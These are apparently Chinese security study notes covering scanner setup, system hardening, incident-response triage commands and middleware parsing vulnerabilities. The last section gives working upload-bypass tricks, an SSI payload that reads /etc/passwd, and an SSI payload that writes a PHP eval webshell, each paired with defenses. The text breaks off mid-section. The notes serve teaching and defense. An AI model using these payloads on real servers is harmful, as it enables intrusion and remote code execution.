访问地址： https://宿主机IP:3443

⚠️ 如果访问失败，检查防火墙是否开放端口或尝试关闭防火墙。

2.4 扫描流程#

1
1. 添加目标（Add Target）
2
   └── 输入 URL
3
   └── 配置扫描设置
4
         ↓
5
2. 开始扫描
6
   ├── 探索（Crawl）→ 了解整个 Web 页面结构
7
   ├── 攻击（Attack）→ 对修改的 HTTP Request 进行攻击尝试
8
   └── 分析（Analyze）→ 分析 Response 验证漏洞
9
         ↓
10
3. 生成报告

三、IBM AppScan#

3.1 简介#

IBM AppScan 是一款 Web 安全扫描工具，利用爬虫技术对网站进行渗透测试，扫描后提供报告和修复建议。版本越新，用例库越全。

3.2 工作原理#

1
1. 通过探索了解整个 Web 页面结构
2
2. 使用扫描规则库对修改的 HTTP Request 进行攻击尝试
3
3. 分析 Response 来验证是否存在安全漏洞

3.3 配置登录方式#

登录方式	说明
自动	直接填写用户名/密码
记录	通过内置浏览器登录，记录登录过程
提示	扫描过程中遇到需要登录时提示输入
无	不登录（适合未授权渗透）

3.4 启动模式#

模式	说明
全面自动扫描	探索 + 攻击测试同时进行
仅自动”探索”	只爬取目录结构，不作攻击测试
手动探索	通过内置浏览器手动点击，AppScan 记录
稍后启动扫描	保存配置，后续继续操作

3.5 扫描流程#

1
新建扫描 → 输入 URL → 配置登录 → 选择策略 → 选择模式 → 开始扫描 → 生成报告

四、Nessus#

4.1 简介#

Nessus 号称世界上最流行的漏洞扫描程序，全球超过 75000 个组织在使用。支持本地和远程漏洞分析扫描，是渗透测试的重要工具之一。

4.2 安装（Kali）#

Terminal window

1
# 下载 .deb 安装包
2
# 安装
3
dpkg -i Nessus-10.3.0-debian9_amd64.deb
4

5
# 启动 Nessus
6
/bin/systemctl start nessusd.service
7

8
# 查看启动状态
9
ps -ef | grep nessus

4.3 获取激活码#

访问：https://zh-cn.tenable.com/products/nessus/nessus-essentials

填写信息后获取激活码（免费版限制：最多扫描 16 个 IP）
等待接收邮件

4.4 访问#

1
https://localhost:8834

⚠️ 如果没有科学上网环境，激活可能失败。可使用离线插件包安装。

4.5 使用流程#

1
1. 设置扫描策略（Policy）
2
2. 新建扫描任务（New Scan）
3
3. 选择策略 → 添加目标 IP
4
4. 开始扫描
5
5. 等待完成 → 导出报告

4.6 Nessus 离线插件更新（如遇网络问题）#

Terminal window

1
# 拷贝离线插件包到 Nessus 安装目录
2
# 管理员运行 cmd，进入目录执行
3
nessuscli.exe update all-2.0.tar.gz
4
# 等待约 20 分钟

五、Xray#

5.1 简介#

Xray 是国内安全厂商长亭科技开发的一款功能强大的安全评估工具，支持主动/被动扫描，支持多种 Web 漏洞自动化测试，支持自定义 POC。

5.2 安装（Kali）#

Terminal window

1
# 下载 Linux 版本（xray_linux_amd64）
2
# 解压
3
unzip xray_linux_amd64.zip
4
# 进入目录，赋予执行权限
5
chmod +x xray_linux_amd64

5.3 常用命令#

基础爬虫扫描（主动）#

Terminal window

1
./xray_linux_amd64 webscan --basic-crawler http://example.com --html-output vuln.html

HTTP 代理扫描（被动）#

Terminal window

1
./xray_linux_amd64 webscan --listen 127.0.0.1:7777 --html-output proxy.html

设置浏览器 HTTP 代理为 http://127.0.0.1:7777，Xray 会自动分析代理流量并扫描。

单 URL 扫描#

Terminal window

1
./xray_linux_amd64 webscan --url http://example.com/?a=b --html-output single-url.html

指定插件#

Terminal window

1
# 仅启用命令注入和 SQL 注入检测插件
2
./xray_linux_amd64 webscan --plugins cmd-injection,sqldet --url http://example.com
3
./xray_linux_amd64 webscan --plugins cmd-injection,sqldet --listen 127.0.0.1:7777

指定输出格式#

Terminal window

1
./xray_linux_amd64 webscan --url http://example.com/?a=b \
2
  --text-output result.txt \
3
  --json-output result.json \
4
  --html-output report.html

📌 快速参考卡片#

AWVS Docker 安装#

Terminal window

1
docker pull secfa/docker-awvs
2
docker run -d -p 3443:3443 secfa/docker-awvs
3
# 访问 https://IP:3443

Nessus 启动#

Terminal window

1
/bin/systemctl start nessusd.service
2
# 访问 https://localhost:8834

Xray 常用命令#

Terminal window

1
# 主动爬虫扫描
2
./xray webscan --basic-crawler http://example.com --html-output report.html
3

4
# 被动代理扫描
5
./xray webscan --listen 127.0.0.1:7777 --html-output report.html
6

7
# 单 URL 扫描
8
./xray webscan --url http://example.com/?a=b --html-output report.html
9

10
# 指定插件
11
./xray webscan --plugins sqldet,xss --url http://example.com

工具对比#

工具	类型	部署方式	特点
AWVS	Web 应用漏扫	Docker/Windows	商业、功能全面
AppScan	Web 应用漏扫	Windows	IBM 产品、用例库丰富
Nessus	主机 + 应用漏扫	多平台	全球最流行、免费版限 16 IP
Xray	Web 应用漏扫	多平台	开源、支持 POC 自定义

基线检查及安全加固

Tue, 13 Oct 2026 15:08:00 GMT

一、基本概念#

1.1 核心概念速记#

缩写	全称	说明
OS	Operation System	操作系统
DBMS	Database Management System	数据库管理系统（Oracle、MySQL、SQL Server、达梦、人大金仓）
FW	Firewall	防火墙
WAF	Web Application Firewall	Web应用防火墙
RT	Router	路由器（网关）
SW	Switch	交换机

存储单位：

1b（bit）= 1个二进制位
1B（Byte）= 8bit
1KB = 1024B
1MB = 1024KB

1.2 什么是基线检查？#

检查系统/应用的基本安全配置是否符合标准。

1.3 常见问答#

问题	答案
基线检查和安全检测有何区别？	几乎没有区别
做完一次基线检查和安全加固后就不用再做了吗？	不行，需定期持续进行
什么时候做基线检查？	客户/合同要求时、系统部署后、上线前
一般对哪些系统做安检加固？	OS、DBMS、中间件、网络设备、网络安全设备

1.4 配置途径#

途径	使用场景
命令	cmd/powershell 中执行
注册表（regedit）	Windows 系统配置
组策略（gpedit.msc）	Windows 批量策略配置
安全策略（secpol.msc）	Windows 安全配置
控制面板（control）	Windows 图形界面
配置文件	Linux/开源软件

二、PHP 安全加固#

2.1 PHP 配置文件位置#

/etc/php/7.4/fpm/php.ini

1
# 查找 php.ini
2
find /etc -name php.ini
3
# 常见位置：
4
# /etc/php/7.4/cli/php.ini
5

6
# 查看已安装 PHP
7
sudo apt list --installed | grep php
8
which php

2.2 PHP 核心加固配置#

配置项	说明	推荐值
`open_basedir`	限制 PHP 可访问的目录	`/var/www/html:/tmp`
`disable_functions`	禁用危险函数	`system,exec,passthru,shell_exec,phpinfo`
`expose_php`	隐藏 PHP 版本信息	`Off`
`display_errors`	关闭错误显示	`Off`
`log_errors`	开启错误日志	`On`
`error_log`	错误日志路径	`/var/log/php_error.log`
`register_globals`	关闭全局变量注册（PHP 5.3 已废弃）	`Off`
`magic_quotes_gpc`	SQL注入防护（PHP 5.4 已废弃）	`On`

2.3 控制 PHP 访问目录#

1
# Linux：冒号分隔
2
open_basedir = "/var/www/html:/tmp"
3

4
# Windows：分号分隔
5
open_basedir = "C:/www;C:/tmp"

2.4 禁用危险函数#

1
# 禁用命令执行函数
2
disable_functions = system,passthru,exec,shell_exec,popen,pcntl_exec,proc_open,proc_close,dl
3

4
# 额外禁用文件操作函数
5
disable_functions = chdir,chroot,dir,getcwd,opendir,readdir,scandir,unlink,delete,copy,mkdir,rmdir,rename,file,file_get_contents,fputs,fwrite,chgrp,chmod,chown
6

7
# 禁用信息泄露
8
disable_functions = phpinfo

2.5 隐藏版本信息#

1
expose_php = Off

2.6 错误日志配置#

1
display_errors = Off
2
log_errors = On
3
error_log = /usr/local/apache2/logs/php_error.log

三、Windows 安全加固#

3.1 账户管理与认证授权#

加固项	操作	说明
禁用 Guest 账户	计算机管理 → 本地用户和组 → Guest → 禁用	防止未授权访问
删除无用账户	禁用→观察→确认无影响后删除	减少攻击面
权限分离	按业务创建不同用户组	最小权限原则
不显示最后用户名	secpol.msc → 本地策略 → 安全选项 → 交互式登录：不显示最后的用户名 → 启用	防止信息泄露

3.2 密码策略#

路径： secpol.msc → 账户策略 → 密码策略

策略	推荐值
密码必须符合复杂性要求	启用（大写+小写+数字+特殊字符 ≥ 2种）
密码长度最小值	≥ 8 字符
密码最长使用期限	≤ 90 天

3.3 账户锁定策略#

路径： secpol.msc → 账户策略 → 账户锁定策略

策略	推荐值
账户锁定阈值	≤ 10 次（连续失败锁定）

3.4 用户权限指派#

路径： secpol.msc → 本地策略 → 用户权限分配

策略	推荐值
从远端系统强制关机	仅 Administrators 组
关闭系统	仅 Administrators 组
取得文件所有权	仅 Administrators 组
允许本地登录	指定授权用户
从网络访问此计算机	指定授权用户

3.5 日志配置#

路径： secpol.msc → 本地策略 → 审核策略

审核项	推荐配置
审核登录事件	成功+失败
审核账户管理	成功+失败
审核进程追踪	仅失败（谨慎开启）

日志大小： eventvwr.msc → Windows 日志

日志类型	推荐大小
应用日志	≥ 8192KB
系统日志	≥ 8192KB
安全日志	≥ 8192KB

3.6 IP 协议安全（SYN 攻击防护）#

路径： 注册表 HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\

注册表项	推荐值	说明
`SynAttackProtect`	2	启用 SYN 攻击保护
`TcpMaxHalfOpen`	500	SYN_RCVD 状态连接阈值
`TcpMaxHalfOpenRetried`	400	重传 SYN_RCVD 连接阈值

3.7 文件共享安全#

加固项	操作
关闭默认共享	计算机管理 → 共享文件夹 → 停止 C、IPC、IPC、IPC 两个共享
共享权限限制	不设置 Everyone 权限，仅授权用户

3.8 安全选项#

路径： secpol.msc → 本地策略 → 安全选项

策略	推荐值
关机：允许系统在未登录前关机	禁用
Microsoft 网络服务器：暂停会话前空闲时间	15 分钟

3.9 其他配置#

加固项	操作
防病毒软件	安装企业级防病毒，开启病毒库更新
屏幕保护	设置等待 5 分钟，恢复时需要密码
补丁管理	安装最新 Hotfix，先兼容性测试，勿自动安装
防火墙	启用防火墙（firewall.cpl）

四、Linux 安全加固#

4.1 账号和口令#

删除/锁定无用账号#

Terminal window

1
# 删除账号
2
userdel <用户名>
3

4
# 锁定账号
5
passwd -l <用户名>
6

7
# 解锁账号
8
passwd -u <用户名>

检查空口令和 root 权限账号#

Terminal window

1
# 查看空口令账号
2
awk -F: '($2 == "")' /etc/shadow
3

4
# 查看 UID=0 的账号（应只有 root）
5
awk -F: '($3 == 0)' /etc/passwd
6

7
# 为空口令账号设置密码
8
passwd <用户名>

密码策略（/etc/login.defs）#

Terminal window

1
PASS_MAX_DAYS   90    # 密码最长使用天数
2
PASS_MIN_DAYS   0     # 密码最短使用天数
3
PASS_WARN_AGE   7     # 密码到期前提醒天数

使用 chage 修改用户密码策略#

Terminal window

1
chage -m 0 -M 30 -E 2000-01-01 -W 7 <用户名>

账户锁定策略（PAM）#

Terminal window

1
# /etc/pam.d/common-auth 添加
2
auth required pam_tally.so onerr=fail deny=3 unlock_time=300

限制 su 用户#

Terminal window

1
# /etc/pam.d/su 添加
2
auth required pam_wheel.so group=test   # 仅 test 组可 su

禁止 root 直接 SSH 登录#

/etc/ssh/sshd_config

1
PermitRootLogin no
2

3
# 重启 SSH 服务
4
service sshd restart

4.2 服务安全#

Terminal window

1
# 查看所有服务
2
sudo systemctl list-units --type=service
3

4
# 停止服务
5
sudo systemctl stop <服务名>
6

7
# 禁用服务（禁止自启动）
8
sudo systemctl disable <服务名>

SSH 服务加固#

/etc/ssh/sshd_config

1
PermitRootLogin no          # 禁止 root 直接登录
2
Protocol 2                   # 使用 SSHv2

4.3 文件系统#

设置 umask#

Terminal window

1
# /etc/profile 添加
2
umask 026
3
# 即新文件：属主 rwx，同组 r，其他无
4
# 666-026=640
5

6
# 立即生效
7
source /etc/profile

设置登录超时#

Terminal window

1
# /etc/profile 设置
2
TMOUT=180    # 3 分钟超时

4.4 日志配置#

/etc/rsyslog.d/50-default.conf

1
*.info;mail.none;authpriv.none;cron.none /var/log/messages
2

3
# 重启 rsyslog
4
sudo systemctl restart rsyslog

记录所有用户操作日志#

Terminal window展开收起

1
# /etc/profile 添加
2
USER=`whoami`
3
USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`
4
if [ "$USER_IP" = "" ]; then
5
  USER_IP=`hostname`
6
fi
7
if [ ! -d /var/log/history ]; then
8
  mkdir /var/log/history
9
  chmod 777 /var/log/history
10
fi
11
if [ ! -d /var/log/history/${LOGNAME} ]; then
12
  mkdir /var/log/history/${LOGNAME}
13
  chmod 300 /var/log/history/${LOGNAME}
14
fi
15
export HISTSIZE=4096
16
DT=`date +"%Y%m%d_%H:%M:%S"`
17
export HISTFILE="/var/log/history/${LOGNAME}/${USER}@${USER_IP}_$DT"
18
chmod 600 /var/log/history/${LOGNAME}/* 2>/dev/null

展开收起

五、Apache 安全加固#

5.1 低权限账号运行#

Terminal window

1
# 创建 Apache 用户
2
groupadd apache
3
useradd apache -g apache
4

5
# httpd.conf 配置
6
User www-data
7
Group www-data

5.2 授权设置#

Terminal window

1
# 配置文件权限
2
chmod 600 /etc/httpd/conf/httpd.conf
3

4
# 日志文件权限
5
chmod 644 /var/log/httpd/*.log

5.3 日志设置#

1
# 错误日志
2
LogLevel notice
3
ErrorLog logs/error_log
4

5
# 访问日志格式
6
LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Accept}i\" \"%{Referer}i\" \"%{User-Agent}i\"" combined
7
CustomLog logs/access.log combined

5.4 禁止访问外部文件和目录列出#

1
# 禁止访问 Web 目录之外的文件
2
<Directory />
3
    Order Deny,Allow
4
    Deny from all
5
</Directory>
6
# 禁止目录列出（删除 Indexes）
7
Options FollowSymLinks

5.5 隐藏版本信息#

1
ServerSignature Off
2
ServerTokens Prod

5.6 关闭 TRACE#

1
TraceEnable off

六、Nginx 安全加固#

6.1 日志配置#

1
http {
2
    log_format main '$remote_addr - $remote_user [$time_local] "$request" '
3
                    '$status $body_bytes_sent "$http_referer" '
4
                    '"$http_user_agent" "$http_x_forwarded_for"';
5
}
6

7
server {
8
    access_log logs/host.access.log main;
9
}

6.2 禁止目录浏览和限制执行权限#

1
# 禁止目录浏览
2
autoindex off;
3

4
# 限制目录执行权限
5
location ~ /(attachments|upload)/.*\.(php|php5)?$ {
6
    deny all;
7
}

6.3 隐藏版本信息#

1
server_tokens off;

6.4 限制 HTTP 请求方法和 IP 访问#

1
# 限制请求方法
2
if ($request_method !~ ^(GET|HEAD|POST)$) {
3
    return 403;
4
}
5

6
# 限制 IP 访问
7
location / {
8
    allow 192.168.1.0/24;
9
    deny all;
10
}

6.5 Nginx 降权#

1
user www-data;
2
# 或
3
user www www;

七、Tomcat 安全加固#

加固项	操作
管理后台防护	删除或重命名 `/webapps/manager`、`/host-manager`
强口令	`conf/tomcat-users.xml` 配置复杂密码
修改默认端口	`conf/server.xml` 修改 8080
访问日志	取消 `AccessLogValve` 注释
禁止目录列出	`conf/web.xml` 设置 `listings=false`
删除示例文件	删除 `webapps/docs`、`examples`

八、MySQL 安全加固#

加固项	操作
低权限运行	创建 `myUser`，以普通用户运行 MySQL
禁止共享账号	每个应用使用独立数据库账号
禁用无关账号	`DROP USER test;`
强口令策略	长度 ≥ 8，含大小写+数字+特殊字符（≥2种），90天更换
最小权限授权	`GRANT` 仅授予必要权限，`REVOKE` 回收多余权限
启用日志审计	`my.cnf` 配置 `log-error`、`log-bin` 等
禁止远程访问	绑定 `127.0.0.1` 或白名单 IP
连接数限制	`max_connections = 1000`
安装最新版本	持续更新补丁

📌 快速参考卡片#

Windows 命令#

1
regedit              # 注册表
2
gpedit.msc           # 组策略编辑器
3
secpol.msc           # 本地安全策略
4
eventvwr.msc         # 事件查看器
5
control              # 控制面板
6
services.msc         # 服务管理
7
firewall.cpl         # 防火墙

Linux 命令#

Terminal window

1
find /etc -name php.ini           # 找 PHP 配置
2
sudo nginx -t                     # 测试 Nginx 配置
3
systemctl restart php7.4-fpm      # 重启 PHP-FPM

加固优先级#

1
1. 账号/口令管理 → 2. 日志审计 → 3. 权限控制 → 4. 隐藏版本信息 → 5. 关闭危险功能

应急响应

Wed, 07 Oct 2026 15:06:00 GMT

一、应急响应概述#

1.1 什么是应急响应？#

当企业发生黑客入侵、系统崩溃或其它影响业务正常运行的安全事件时，第一时间进行处理，使系统在最短时间内恢复正常，进一步查找入侵来源，还原入侵事故过程，给出解决方案与防范措施。

1.2 入侵排查总体思路#

排查方向	检查内容
账号安全	可疑账号、隐藏账号、克隆账号
异常连接	可疑端口、外连IP、定期回连
异常进程	CPU/IO过高、无签名、无描述
启动项	开机自启、计划任务、服务
系统信息	补丁、可疑文件、文件时间
日志分析	安全日志、Web日志

二、Windows 入侵排查#

2.1 检查系统账号安全#

查看账号#

1
# 查看本地用户和组
2
lusrmgr.msc
3

4
# 检查管理员组是否有新增账户
5
net localgroup administrators

检查隐藏账号/克隆账号#

注册表路径：

1
HKEY_LOCAL_MACHINE\SAM\SAM

⚠️ 需要给 Administrator 用户赋予 SAM 完全控制和读取权限

操作步骤：

导出隐藏账号对应的注册表项（两个 .reg 文件）
删除可疑用户：net user hacker* /del
导入之前导出的 .reg 文件恢复

工具： D盾_Web查杀（集成克隆账号检测功能）

查看登录日志#

1
eventvwr.msc

2.2 检查异常连接和进程#

网络连接#

1
# 查看所有网络连接
2
netstat -ano
3

4
# 查找特定端口
5
netstat -ano | findstr "4444"
6

7
# 根据 PID 定位进程
8
tasklist | findstr "PID"

检查进程#

方法：

运行 msinfo32 → 软件环境 → 正在运行任务（查看进程路径、PID、创建日期、启动时间）
使用 resmon（资源监视器）
使用 Process Explorer（微软官方工具）
使用 D盾_Web查杀 查看无签名进程

可疑进程特征：

CPU/IO 占用过高
无签名验证信息
无描述信息
路径异常
属主异常

2.3 检查启动项、计划任务、服务#

启动项#

1
# 运行 msconfig，查看启动项（老版本）
2
msconfig
3

4
# 注册表启动项位置
5
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
6
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
7
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
8

9
# 启动目录
10
C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

推荐工具： Autoruns（微软 Sysinternals 工具集）

计划任务#

1
# 查看计划任务
2
schtasks
3
# 或
4
at

路径： 控制面板 → 任务计划

服务#

1
services.msc

检查服务状态和启动类型，注意异常服务。

2.4 Windows 关键安全事件 ID#

事件ID	安全级别	类别	说明
4624	高	登录	登录成功（需结合登录类型分析）
4625	高	登录	登录失败（暴力破解检测）
4672	高	权限	特权登录（管理员权限）
4688	高	进程	进程创建（需开启命令行审计）
4104	高	脚本	PowerShell 脚本块记录
1102	严重	防御	安全日志被清除（告警！）
7045	高	持久化	新服务安装
4698	高	持久化	计划任务创建
4720	中	账户	用户账户创建
4726	中	账户	用户账户删除
4732	中	权限	成员添加到本地组
4719	高	策略	系统审计策略变更
5140	中	横向	网络共享访问

登录类型#

类型	说明
2	交互式登录（本地登录）
3	网络登录（共享文件夹、远程桌面）
4	批处理（计划任务启动）
5	服务启动
7	解锁（屏保解锁）
8	网络明文（FTP 等）
9	新凭证（RUNAS /netonly）
10	远程交互（RDP）
11	缓存交互（无域控时）

日志筛选方式#

1
# 常规：事件查看器图形界面
2
eventvwr.msc
3

4
# XML 筛选
5
# 例：筛选 EventID=4625 且 LogonType=3
6

7
# 命令筛选
8
wevtutil qe Security /q:"*[System[(EventID=4625)]] and *[EventData[(Data[@Name='LogonType']=3)]]"

2.5 工具推荐#

工具	用途
Process Explorer	进程排查
Process Monitor	进程监控
Autoruns	启动项排查
D盾_Web查杀	进程、克隆账号、Webshell
火绒	病毒查杀
卡巴斯基 KVRT	绿色版病毒查杀
大蜘蛛	扫描快

三、Linux 入侵排查#

3.1 账号安全#

用户信息文件#

Terminal window展开收起

1
# 用户信息 /etc/passwd
2
# 格式：用户名:密码:UID:GID:描述:家目录:Shell
3

4
# 查看特权用户（UID=0，只有 root 应为 0）
5
awk -F: '($3==0){print $1}' /etc/passwd
6

7
# 查看空密码用户
8
awk -F: '($2==""){print $1}' /etc/shadow
9

10
# 查看可远程登录的用户
11
awk '/\$1|\$6/{print $1}' /etc/shadow
12

13
# 查看有 sudo 权限的普通用户
14
more /etc/sudoers | grep -v "^#" | grep -v "^$" | grep "ALL=(ALL"
15

16
# 禁用/删除用户
17
usermod -L user      # 禁用账号（shadow 第二栏为 !）
18
userdel user         # 删除用户
19
userdel -r user      # 删除用户及家目录

展开收起

shadow 密码加密类型：

类型	加密算法
$1$	MD5
$2a$	Blowfish
$5$	SHA-256
$6$	SHA-512

3.2 历史命令#

Terminal window

1
# 查看历史命令
2
history
3

4
# 查看用户历史命令文件
5
cat /home/用户名/.bash_history
6

7
# 清除历史（仅清除内存，需手动删除文件）
8
history -c

增强历史记录（记录时间/登录IP）： 在 /etc/profile 添加：

Terminal window

1
USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`
2
if [ "$USER_IP" = "" ]; then
3
    USER_IP=`hostname`
4
fi
5
export HISTTIMEFORMAT="%F %T $USER_IP `whoami` "
6
export PROMPT_COMMAND="history -a"

3.3 检查网络连接#

Terminal window

1
# 查看连接状态
2
netstat -antlp | more
3
ss -antlp | more
4

5
# 查看进程路径
6
ls -l /proc/<PID>/exe
7
file /proc/<PID>/exe
8
cat /proc/<PID>/cmdline

3.4 检查进程#

Terminal window

1
ps aux | grep <PID>
2
ps -elf | grep <PID>

3.5 检查启动项#

路径/文件	说明
`~/.profile`	用户级配置
`~/.bashrc`	用户级 bash 配置
`/etc/profile`	系统级配置
`/etc/rc.local`	开机自启脚本
`/etc/rc.d/rc[0~6].d/`	运行级别启动目录
`/etc/cron*`	定时任务目录

运行级别：

级别	说明
0	关机
1	单用户模式（修复）
2	不完全命令行（无NFS）
3	完全命令行
4	保留
5	图形模式
6	重启

3.6 检查定时任务#

Terminal window展开收起

1
# 查看当前用户定时任务
2
crontab -l
3

4
# 查看 root 定时任务
5
crontab -l -u root
6

7
# 定时任务文件位置
8
/var/spool/cron/*           # 用户定时任务
9
/etc/crontab                 # 系统定时任务
10
/etc/cron.d/*                # 额外定时任务
11
/etc/cron.daily/*            # 每日任务
12
/etc/cron.hourly/*           # 每小时任务
13
/etc/cron.monthly/*          # 每月任务
14
/etc/cron.weekly/*           # 每周任务
15
/etc/anacrontab              # 异步定时任务
16
/var/spool/anacron/*         # anacron 数据

展开收起

3.7 检查服务#

Terminal window

1
# systemd（新系统）
2
systemctl list-units --type=service          # 列出所有服务
3
systemctl list-units --type=service --state=running   # 运行中服务
4
systemctl list-unit-files --type=service --state=enabled   # 已启用服务
5

6
# sysvinit（老系统）
7
chkconfig --list          # 查看服务自启动状态
8
chkconfig --level 2345 httpd on   # 设置自启动

3.8 检查异常文件#

Terminal window

1
# 查找最近修改的文件
2
find / -type f -newermt "2024-05-19" ! -newermt "2024-05-22"
3

4
# 查找一天前访问过的文件
5
find / -iname "*" -mtime 1 -type f
6

7
# 查看文件状态（创建/修改/访问时间）
8
stat <文件名>
9

10
# 查看敏感目录
11
ls -la /tmp
12
ls -la /var/tmp

3.9 Linux 系统日志#

日志文件	说明
`/var/log/messages`	系统重要日志（优先检查）
`/var/log/auth.log` (Debian) 或 `/var/log/secure` (RHEL)	认证日志（SSH、su、sudo）
`/var/log/cron`	定时任务日志
`/var/log/btmp`	错误登录日志（`lastb` 查看）
`/var/log/lastlog`	最后登录时间（`lastlog` 查看）
`/var/log/wtmp`	所有登录/注销记录（`last` 查看）
`/var/log/utmp`	当前登录用户（`w`、`who`、`users`）

注意： 二进制日志文件需用专用命令查看：lastb、lastlog、last、w、who、users

日志分析命令#

Terminal window展开收起

1
# 查看爆破 root 的 IP
2
grep "Failed password for root" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr | more
3

4
# 查看所有爆破 IP
5
grep "Failed password" /var/log/auth.log | grep -E -o "([0-9]{1,3}\.){3}[0-9]{1,3}" | uniq -c | sort -nr
6

7
# 查看登录成功的 IP
8
grep "Accepted " /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr | more
9

10
# 查看添加用户记录
11
grep "useradd" /var/log/auth.log
12

13
# 查看删除用户记录
14
grep "userdel" /var/log/auth.log
15

16
# 查看 su 切换
17
grep "su" /var/log/auth.log
18

19
# 查看 sudo 授权执行
20
grep "sudo" /var/log/auth.log

展开收起

3.10 Rootkit 查杀#

chkrootkit：

Terminal window

1
wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz
2
tar zxvf chkrootkit.tar.gz
3
cd chkrootkit-0.52
4
make sense
5
./chkrootkit

rkhunter：

Terminal window

1
wget https://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.4/rkhunter-1.4.4.tar.gz
2
tar -zxvf rkhunter-1.4.4.tar.gz
3
cd rkhunter-1.4.4
4
./installer.sh --install
5
rkhunter -c

3.11 病毒查杀#

ClamAV：

Terminal window

1
# 更新病毒库
2
freshclam
3

4
# 扫描目录
5
clamscan -r /etc --max-dir-recursion=5 -l /root/etcclamav.log
6
clamscan -r /bin -l /root/binclamav.log
7

8
# 扫描并清除
9
clamscan -r --remove /usr/bin/bsd-port

3.12 Linux 安全检查脚本#

项目	地址
GSCan	https://github.com/graydda/GSCan
linux安全检查脚本	https://github.com/T0xst/linux

四、Webshell 查杀#

工具	地址
D盾_Web查杀	http://www.d99net.net
河马 webshell 查杀	http://www.shellpub.com
VirusTotal	https://www.virustotal.com

无工具手工排查#

Terminal window

1
# Linux：使用 diff 对比
2
diff -r 正常目录 可疑目录
3

4
# Windows：使用文件搜索功能（F3）
5
# 查找最近修改的文件
6
# 查找 .php/.asp/.jsp 等脚本文件中的可疑代码

📌 快速命令卡片#

Terminal window展开收起

1
# Linux 快速排查
2
awk -F: '($3==0){print $1}' /etc/passwd              # 特权用户
3
awk -F: '($2==""){print $1}' /etc/shadow             # 空密码用户
4
grep "Failed password" /var/log/auth.log | wc -l     # 爆破次数
5
grep "Accepted" /var/log/auth.log                    # 登录成功
6
netstat -antlp | grep ESTABLISHED                    # 异常连接
7
ps aux --sort=-%cpu | head -20                       # CPU占用前20
8
crontab -l                                          # 定时任务
9
ls -la /tmp                                          # 临时目录
10
find / -newermt "2024-01-01" ! -newermt "2024-01-02" # 指定时间文件
11
# Windows 快速排查
12
lusrmgr.msc
13
eventvwr.msc
14
netstat -ano
15
tasklist | findstr "PID"
16
msinfo32
17
regedit
18
msconfig
19
services.msc

展开收起

中间件解析漏洞

Sat, 03 Oct 2026 15:04:00 GMT

一、中间件概述#

1.1 什么是中间件？#

中间件是不同服务之间的产品，在安全领域泛指服务器软件、消息队列、非关系型数据库等。

分类	典型产品
服务器软件	Apache、Nginx、IIS、WebLogic、JBoss、Tomcat
消息队列	ActiveMQ、RabbitMQ、RocketMQ
非关系型数据库	Redis、MongoDB、Memcached

1.2 PHP 程序的特殊性#

PHP 具有边运行、边解释的特性，可由 Apache / Nginx / IIS 等多种中间件解析。

二、Apache 解析漏洞#

2.1 Apache HTTPD 多后缀解析漏洞#

漏洞原理#

Apache 支持一个文件有多个后缀，如 shell.php.doc
Apache 从后往前依次识别后缀：
遇到不认识的后缀 → 继续往前
遇到认识的后缀 → 按该后缀解析
若全部不认识 → 当成默认类型（text/plain）

Apache 可识别的后缀存储在 /etc/mime.types

关键配置：

1
AddHandler application/x-httpd-php .php

只要文件名中存在 .php，就会被当作 PHP 解析。

利用方式#

1
1. 上传 shell.php.png（白名单允许 .png）
2
2. Apache 识别到 .php → 作为 PHP 解析

前提条件#

1
1. Apache 以模块形式运行（非 CGI/FastCGI）
2
2. 配置中存在 AddHandler application/x-httpd-php .php
3
3. 未修改文件名

漏洞防御#

1
1. 修改文件名（随机重命名）
2
2. 取消 AddHandler 配置中的多后缀支持
3
3. 使用白名单限制上传类型

2.2 Apache HTTPD 换行解析漏洞（CVE-2017-15715）#

漏洞信息#

属性	值
漏洞编号	CVE-2017-15715
影响版本	Apache 2.4.0 ~ 2.4.29
利用方式	在文件名后添加 `\x0A`（换行符）

漏洞原理#

1
shell.php\x0A  → Apache 解析为 PHP 文件

shell.php%0a 绕过黑名单校验
服务器保存文件名为 shell.php（换行符被忽略）
访问 /shell.php%0a 即可执行

利用步骤#

Terminal window

1
1. 上传 shell.php（黑名单拦截）
2
2. 改名为 shell.php%0a（抓包修改，在 .php 后插入 0A）
3
3. 上传成功
4
4. 访问 /shell.php%0a → PHP 代码执行

⚠️ 注意是 \x0A 而不是 \x0D\x0A

漏洞防御#

升级 Apache 到最新版本
使用白名单而非黑名单

2.3 Apache SSI 远程命令执行漏洞#

漏洞原理#

SSI（Server Side Includes，服务器端包含）允许在 HTML 文件中通过注释行调用命令或指针。

SSI 命令格式：

1
<!--#exec cmd="命令" -->

适用文件类型： .shtml、.shtm、.stm

利用方式#

1. 读取文件：

1
<!--#exec cmd="cat /etc/passwd" -->

2. 写入 Webshell：

1
<!--#exec cmd="echo '<?php eval($_REQUEST[6]);?>' > /var/www/html/shell.php" -->

漏洞条件#

服务器开启了 SSI 与 CGI 支持
可上传 .shtml 文件

漏洞防御#

1
1. 关闭 SSI 功能
2
2. 过滤 SSI 特殊字符（<, >, #, -, "）

三、Nginx 解析漏洞#

3.1 Nginx 解析漏洞（全版本）#

漏洞原理#

Nginx 拿到 URI /test.jpg/shell.php，识别 .php 后缀后转交给 PHP 处理；PHP 发现 /test.jpg/shell.php 不存在，删去最后的 /shell.php，将 /test.jpg 当作要执行的文件。

关键配置：

php.ini

1
cgi.fix_pathinfo = 1
2

3
# php-fpm.conf
4
security.limit_extensions = .php .jpg

配置项	说明
`cgi.fix_pathinfo=1`	路径不存在时，依次删除最后一段尝试
`security.limit_extensions`	允许 PHP 执行的后缀（含 `.jpg` 等非 PHP 后缀）

利用方式#

1
1. 上传图片马 shell.jpg
2
2. 访问 /shell.jpg/shell.php
3
3. PHP 处理时退回 shell.jpg → 执行其中的 PHP 代码

漏洞防御#

php.ini

1
